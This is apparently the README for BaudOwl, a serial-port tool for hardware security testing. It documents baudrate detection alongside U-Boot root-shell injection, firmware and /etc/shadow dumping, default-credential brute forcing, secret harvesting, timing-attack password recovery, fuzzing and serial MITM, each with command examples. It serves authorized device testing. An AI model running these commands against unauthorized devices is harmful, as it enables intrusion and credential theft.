The Ultimate Serial Port Detective
)___(
(o o) BaudOwl v1.7.0
/ V \ -------------------
/( )\ The Serial Port Detective
^^ ^^ Sniffs out baudrates in seconds!
- 🚀 Automatic baudrate detection
- ⚡ Turbo mode for fast scanning
- 🚨 High-speed mode (up to 4,000,000 baud)
- 🐚 U-Boot autoroot: interrupt autoboot, inject
bootargs, drop to a root shell - 🧲 Firmware extraction over UART (U-Boot
md.b/flash read, or base64 from a shell) - 🧬 Binary protocol fingerprinting (Modbus/NMEA/MAVLink) and framing autodetect
- 🤖 Expect-style scripting, default-credential testing, secret harvesting
- 🔌 DTR/RTS auto-reset, serial BREAK, and glitch-trigger coordination
- ⏱️ Timing side-channel attack and leakage assessment on console checks
- 🐛 Serial fuzzer (raw or protocol-aware) with crash oracle, auto-reset, and repro minimization
- 🕵️ Passive sniffing, replay, and a MITM bridge with in-transit byte rewrite
- 📺 Stay connected after detection: live read-only monitor or two-way session
- 📊 Real-time detection statistics
- 🔧 Minicom configuration generator
- 🎨 Colorful and readable terminal output
- Rust (version ≥ 1.74) - Install via rustup
- Linux Packages:
sudo apt install libudev-dev pkg-config
git clone https://github.com/iotsrg/baudowl.git
cd baudowl
cargo build --release
sudo cp target/release/baudowl /usr/local/bin/baudowl --port /dev/ttyUSB0
baudowl --highspeed --auto
baudowl --turbo --quiet
baudowl --name mydevice
baudowl --help
# detect the rate, then stay connected instead of exiting
baudowl --port /dev/ttyUSB0 --monitor # live view, read-only
baudowl --port /dev/ttyUSB0 --interactive # two-way, type commands
# U-Boot autoroot (authorized lab targets only)
baudowl --baud 115200 --autoroot --dry-run # show commands, change nothing
baudowl --baud 115200 --autoroot # volatile setenv + boot to shell
baudowl --port /dev/ttyUSB0 --autoroot --interrupt-key ctrl-c| Option | Description | Default |
|---|---|---|
-p, --port |
Serial port device | /dev/ttyUSB0 |
-t, --timeout |
Detection timeout (seconds) | 5 |
-c, --threshold |
Min readability score (0-100) to accept a rate | 60 |
-n, --name |
Save config and launch Minicom | - |
-a, --auto |
Force a scan even when --baud is set |
false |
-b, --baudlist |
Show supported baudrates | false |
-q, --quiet |
Suppress data output | false |
--turbo |
Fast scan (common baudrates only) | false |
--highspeed |
Enable scan for 1M+ baudrates | false |
--baud <N> |
Force a baudrate, skip auto-detection | - |
-m, --monitor |
After detection, stream live output (read-only) | false |
-i, --interactive |
After detection, open a two-way session | false |
--monitor-raw |
With --monitor, do not mask non-printable bytes |
false |
--no-color |
Disable colour (also honours NO_COLOR) |
false |
| Option | Description | Default |
|---|---|---|
--autoroot |
Break into U-Boot, inject shell bootargs, get shell | false |
--shell-arg <S> |
Boot argument or preset name to obtain a shell (see --list-shell-args) |
init=/bin/sh |
--interrupt-key <K> |
Key spammed to stop autoboot: enter/space/ctrl-c/esc/\xNN |
enter |
--break-timeout <S> |
Seconds to spam the interrupt key | 30 |
--single |
Also append the single (single-user) flag |
false |
--boot-cmd <C> |
Command used to continue booting after setenv | boot |
--persist |
saveenv to flash (persistent, dangerous) |
false |
--dry-run |
Print commands that would be sent, change nothing | false |
--list-shell-args |
List the shell boot-argument presets and exit | false |
When the target exposes a U-Boot console on UART, --autoroot automates the
classic init=/bin/sh boot-argument attack:
- Spam
--interrupt-keyduring the autoboot countdown to reach the bootloader prompt. - Confirm the console responds to commands (
versionbanner) before changing anything. printenv bootargs, parse it, and replace/insert the shell argument (existinginit=/rdinit=is replaced;quiet/splashare stripped).setenv bootargs <new>thenboot, then drop into an interactive bridge.
Safety / scope: authorized lab targets only. Changes are volatile by
default (a power cycle restores the original bootargs); --persist (saveenv)
is opt-in. It aborts before any change if the UART does not confirm responsive.
This is a logic-level PoC: it stops at "you have a root shell" (verify with
id / cat /proc/version); no payload is delivered. Use --dry-run first.
[A] Bootloader prompt reached.
[B] Responsive. U-Boot 2018.03 (Jan 01 2020 - 00:00:00) board-xyz
[C] Reading current environment...
[D] bootargs rewrite:
old: console=ttyS0,115200 root=/dev/mtdblock2 init=/sbin/init
new: console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh
[E] Booting: boot
[F] Shell reached. Interactive bridge (Ctrl-C exits). Verify: id; cat /proc/version
--shell-arg accepts a preset name or a raw boot argument. List them with baudowl --list-shell-args:
| Preset | Boot argument | Notes |
|---|---|---|
sh |
init=/bin/sh |
most common, no auth (covers BusyBox /bin/sh) |
bash |
init=/bin/bash |
if bash is present, no auth |
sbin-sh |
init=/sbin/sh |
some embedded layouts, no auth |
ash |
init=/bin/ash |
BusyBox ash where /bin/ash exists, no auth |
rdinit |
rdinit=/bin/sh |
initramfs/initrd, shell before the real root pivots, no auth |
single |
single |
single-user (may prompt for the root password) |
s |
S |
single-user, sysvinit style (may prompt for the root password) |
rescue |
systemd.unit=rescue.target |
systemd rescue (usually prompts for the root password) |
emergency |
systemd.unit=emergency.target |
systemd emergency (usually prompts for the root password) |
Any other value is used verbatim, e.g. --shell-arg "init=/bin/sh rw console=ttyS0,115200". The init=/rdinit= family replaces the device init and bypasses login; single and systemd targets may still require the root password. Existing init=/rdinit= and quiet/splash tokens are handled automatically.
All of these run over the same serial line. For lab/authorized use only.
# Dump 1 MB of SPI flash to firmware.bin (breaks into U-Boot, then sf read + md.b)
baudowl --baud 115200 --dump-flash --dump-source sf --dump-offset 0x0 \
--dump-length 0x100000 --dump-out firmware.bin
# Dump device RAM directly via md.b
baudowl --baud 115200 --dump-mem 0x80000000 --dump-length 0x1000 --dump-out ram.bin
# Pull a file from an already-rooted shell (base64 over UART)
baudowl --baud 115200 --shell-dump /etc/shadow --dump-out shadow.txt
# Patch a byte in memory (for example before bootm)
baudowl --baud 115200 --write-mem 0x80010000 --write-value 0x90 --write-count 1--dump-source is sf (SPI), nand, or mmc. mmc byte offsets are converted to 512-byte block addressing automatically.
baudowl --baud 9600 --detect-framing # try 8N1/7E1/7O1/8E1/8O1/8N2/7N1, pick the cleanest
baudowl --baud 9600 --detect-protocol # fingerprint Modbus RTU / NMEA / MAVLink
baudowl --sigrok-driver fx2lafw --sigrok-samplerate 8000000 # logic-analyzer auto-baudbaudowl --baud 115200 --script flow.txt # run an expect-style script
baudowl --baud 115200 --cred-brute # try default console credentials
baudowl --baud 115200 --harvest --dump-out loot.txt # scrape secrets from a root shellScript DSL (one command per line, # for comments):
send <text> send text plus CR (escapes: \n \r \t \xNN)
sendraw <hex> send raw bytes, e.g. sendraw de ad be ef
expect [secs] <pat> wait for a substring (default 10s)
delay <ms> read/drain for a fixed time
log <message> print a line
baudowl --port /dev/ttyUSB0 --reset esp # DTR/RTS reset: dtr|rts|esp
baudowl --port /dev/ttyUSB0 --send-break --break-ms 300 # timed serial BREAK (Unix)
# Fire a trigger (RTS/DTR pulse and/or a command) when a boot marker appears
baudowl --baud 115200 --glitch-on "Verifying" --glitch-line rts \
--glitch-cmd "./chipwhisperer_glitch.py"Recover a secret from a non-constant-time console check, or assess whether a check leaks timing.
# Recover a password char-by-char from rejection timing
baudowl --baud 115200 --timing-attack --timing-marker "incorrect" \
--timing-charset "abcdefghijklmnopqrstuvwxyz0123456789" --timing-samples 30
# TVLA-lite: is the check constant-time? (Welch t-test over two input classes)
baudowl --baud 115200 --leakage-test \
--timing-class-a "correctprefix" --timing-class-b "wrongguess"The per-character delay must exceed UART jitter; raise --timing-samples on noisy links.
Fuzz a console or protocol parser, detect crashes from the serial output, auto-reset, and minimize the crashing input to a deterministic repro.
baudowl --baud 115200 --fuzz --fuzz-maxlen 256 --fuzz-iterations 5000 \
--fuzz-reset dtr --fuzz-seed 1Crashes are matched by signature (kernel panic, data abort, watchdog, and more; add your own with --fuzz-crash-sig). Reset between crashes via --fuzz-reset dtr|rts|cmd|none. Runs are reproducible from --fuzz-seed, and each crashing input is reduced by delta debugging. Use --fuzz-protocol modbus|nmea for structure-aware cases (valid frames with field corruption) instead of raw bytes.
Sit on the line passively, or inline between two endpoints.
# Passive read-only capture: timestamps, frame splitting, protocol decode
baudowl --baud 9600 --sniff --sniff-decode --sniff-out capture.bin
# Capture boot output by resetting on the same open port (no reset/capture race).
# ESP8266/NodeMCU boot ROM prints at 74880 baud; --sniff-reset dtr|rts|esp
baudowl --baud 74880 --sniff --sniff-reset esp
# Replay a captured or crafted byte log back out the port
baudowl --baud 9600 --replay capture.bin
# Man-in-the-middle: bridge two ports and rewrite bytes in transit
baudowl --baud 115200 --port /dev/ttyUSB0 --mitm --mitm-port-b /dev/ttyUSB1 \
--mitm-rule "a2b:deadbeef:cafebabe"- Unit-tested logic (59 tests):
md.bparsing, base64, Modbus CRC16 (canonical0x4B37), NMEA checksum, MAVLink framing, Modbus/NMEA frame builders, overflow-safe protocol-aware fuzz generation, NMEA decode hardened against non-UTF-8 input, script parser, secret patterns, sigrok baud math, mmc block addressing, hostile-input self-fuzz across every parser, Welch t-test and outlier statistics, PRNG determinism, delta-debugging minimization, MITM rule rewriting, idle-gap frame splitting. - Proven end-to-end against a simulated device: autoroot, flash and RAM dump (exact byte reconstruction), base64 shell dump, credential test, timing attack (secret recovered char-by-char), fuzzer (crash found and minimized to the trigger byte), passive sniff (capture and protocol decode), MITM bridge (forward and rewrite in transit).
- Verified on real hardware (ESP8266 NodeMCU, CP2102 bridge): port access, baudrate detection, passive sniff with boot-ROM capture via
--sniff-reset, DTR/RTS reset, and the interactive script engine (AT queries returning firmware version andOK). - Code-complete, needs other hardware to verify: serial BREAK, glitch trigger output, framing autodetect, sigrok-cli capture.
Every candidate rate is scanned and ranked; the highest scorer wins, and the margin over the runner-up is reported as a confidence level. A narrow margin means two rates looked alike and the result needs a second look.
The weights are measured, not guessed. A UART sampling at the wrong rate drags start and stop bits into the data field, so wrong rates emit bytes with the high bit set very often. On a bit-level 8N1 simulation of a U-Boot banner:
| Rate | high-bit bytes | score |
|---|---|---|
| 115200 (true) | 0% | 90 |
| 38400 | 36% | 53 |
| 57600 | 46% | 42 |
| 9600 | 45% | 28 |
| 230400 | 47% | 17 |
Shannon entropy was evaluated and deliberately left out: the true rate scored 4.73 bits/byte while wrong rates spanned 3.66 to 5.41, so it overlaps the signal and would reduce separation rather than improve it.
Scope: this scores ASCII console output. A correct-baud binary protocol scores
low here by design; use --detect-protocol for Modbus, NMEA, and MAVLink.
Colour carries meaning, so a result is recognisable without reading the text:
| Style | Meaning |
|---|---|
| Boxed bright green | the objective was achieved (root shell, credentials, firmware, a crash) |
| Boxed bright red | a destructive or persistent change (saveenv to flash) |
Green [+] |
a positive intermediate result |
Red [!] |
the operation failed |
Yellow [!] |
proceed with caution |
Cyan [*] / [A] |
phase progress |
| Dimmed | low-signal detail (rejected guesses, per-iteration chatter) |
============================================
CRASH FOUND iteration 47, 17 byte input
============================================
[+] minimized repro: 1 byte(s) = ff
Colour is disabled automatically when stdout is not a terminal, so redirected
output stays clean text. Use --no-color or set NO_COLOR=1 to force it off.
Baudrate detection:
)___(
(o o) BAUDOWL v1.7.0
/ V \ -------------------
/( )\ The Serial Port Detective
^^ ^^ Sniffs out baudrates in seconds!
Starting detection...
Testing 16 baud rates...
Testing: 115200 baud... [U-Boot 2018.03 (Jan 01 2020 -] MATCH! (score: 88%)
🦉 HOOT! Detected baudrate: 115200
=== Detection Statistics ===
Baudrates tried: 1
Bytes processed: 50
Detection time: 124.50ms